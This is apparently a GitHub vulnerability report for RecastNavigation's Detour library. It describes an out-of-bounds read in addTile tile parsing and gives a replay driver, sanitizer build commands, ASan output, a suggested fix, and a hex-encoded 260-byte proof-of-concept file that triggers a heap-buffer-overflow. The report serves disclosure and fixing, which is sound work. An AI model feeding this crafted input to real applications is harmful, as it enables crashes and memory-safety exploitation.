[Bug]Out-of-bounds pointers from addTile parsing flow into DetourCommon vector/quantization math (dtVsub/dtVcopy/dtOverlapQuantBounds/dtDistancePtSegSqr2D) (CWE-125)

Author: 1820893135-pixelCreated Aug 31, 2026Updated Aug 31, 2026

Summary

The out-of-bounds dtPoly*/detail pointers produced by addTile on a crafted tile are not dereferenced only at their origin — they flow through baseOffMeshLinks → findNearestPolyInTile → closestPointOnPoly → getPolyHeight → dtClosestHeightPointTriangle into the DetourCommon vector helpers. AddressSanitizer reports heap-buffer-overflow READs of size 4 at dtVsub (DetourCommon.h:141); the same family is reachable via dtVcopy (:192), dtOverlapQuantBounds (:358) and dtDistancePtSegSqr2D (DetourCommon.cpp:172). 10 crash samples share this root cause.

Affected versions: RecastNavigation master 9f4ce64458dfae86e1239c525ddc219c4e9e06f1 (all releases to date)
Severity: High
CWE: CWE-125 (Out-of-bounds Read)

Detail

Affected code

cpp

static inline void dtVsub(float* out, const float* a, const float* b)
{
    out[0] = a[0] - b[0];   /* line 141: READ of *a / *b — out-of-bounds dtPoly/verts pointers land here */
    out[1] = a[1] - b[1];
    out[2] = a[2] - b[2];
}

Reached via dtClosestHeightPointTriangle (DetourCommon.cpp:209) ← dtNavMesh::getPolyHeight (:717) ← dtNavMesh::closestPointOnPoly (:741) ← dtNavMesh::findNearestPolyInTile (:788). The same OOB-pointer family also manifests at dtVcopy (:192), dtOverlapQuantBounds (:358) and dtDistancePtSegSqr2D (DetourCommon.cpp:172).

Root cause: the OOB dtPoly*/detail pointer created by the header count-field parsing is not dereferenced only at its origin — it flows into the geometric query functions and is used as the source of dtVsub/dtVcopy reads. Because the pointer points past the tile allocation, each a[i]/b[i] is an OOB float read.

Build the reproducer

Clone RecastNavigation and check out the affected commit:

bash

git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1

Save this standalone replay driver as dbg_addtile.cpp (calls the public dtNavMesh::addTile API on every file argument):

cpp

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        FILE* f = fopen(argv[i], "rb");
        if (!f) return 2;
        fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
        std::vector<unsigned char> buf((size_t)n);
        fread(buf.data(), 1, (size_t)n, f);
        fclose(f);
        dtNavMesh mesh;
        dtNavMeshParams params;
        memset(&params, 0, sizeof(params));
        params.tileWidth = 1.0f; params.tileHeight = 1.0f;
        params.maxTiles = 8; params.maxPolys = 64;
        dtStatus is = mesh.init(&params);
        printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
        unsigned char* b = (unsigned char*)malloc(n);
        memcpy(b, buf.data(), n);
        dtTileRef result = 0;
        dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
        printf("addTile=%08x result=%08x\n", st, result);
        free(b);
    }
    return 0;
}

Compile with ASan + UBSan (dbg_addtile):

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
  Detour/Source/DetourNode.cpp -o dbg_addtile

For a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
  -o dbg_addtile_ubonly

POC (tested on the unmodified source)

Save the 260-byte POC:

bash

python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff00000000000000000000000001000300000000000000000000000000000000000000000000c0000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"

Run:

bash

./dbg_addtile poc.bin

Trigger result

Verified on the unmodified source (AddressSanitizer):

==3111084==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000e50 at pc 0x55648891ef84 bp 0x7ffff41616b0 sp 0x7ffff41616a8
    #0 0x55648891ef83 in dtVsub(float*, float const*, float const*) .../Detour/Include/DetourCommon.h:141:12
    #1 0x55648891c034 in dtClosestHeightPointTriangle(float const*, float const*, float const*, float const*, float&) .../Detour/Source/DetourCommon.cpp:209:2
    #2 0x556488936b9b in dtNavMesh::getPolyHeight(dtMeshTile const*, dtPoly const*, float const*, float*) const .../Detour/Source/DetourNavMesh.cpp:717:7
    #3 0x556488937d06 in dtNavMesh::closestPointOnPoly(unsigned int, float const*, float*, bool*) const .../Detour/Source/DetourNavMesh.cpp:741:6

SUMMARY: AddressSanitizer: heap-buffer-overflow .../Detour/Include/DetourCommon.h:141:12 in dtVsub(float*, float const*, float const*)

Replay exit code: 1 (abort/trap)
Deterministic: yes — 10 crash sample(s) (id:000014, id:000015, id:000016, id:000040, id:000043, ...) all reproduce the same root cause

Suggested fix

The root cause is above the leaf helper: addTile never bounds the count-derived pointers it stores. Once polys/verts/detail pointers are guaranteed in-bounds, dtVsub/dtVcopy/dtOverlapQuantBounds/dtDistancePtSegSqr2D only ever see valid buffers. Fix the slice bounds in addTile (see the sibling report on missing dataSize checks); optionally add a defensive assert in the helpers.

Source: recastnavigation/recastnavigation

View original on GitHub View discussion on GitHub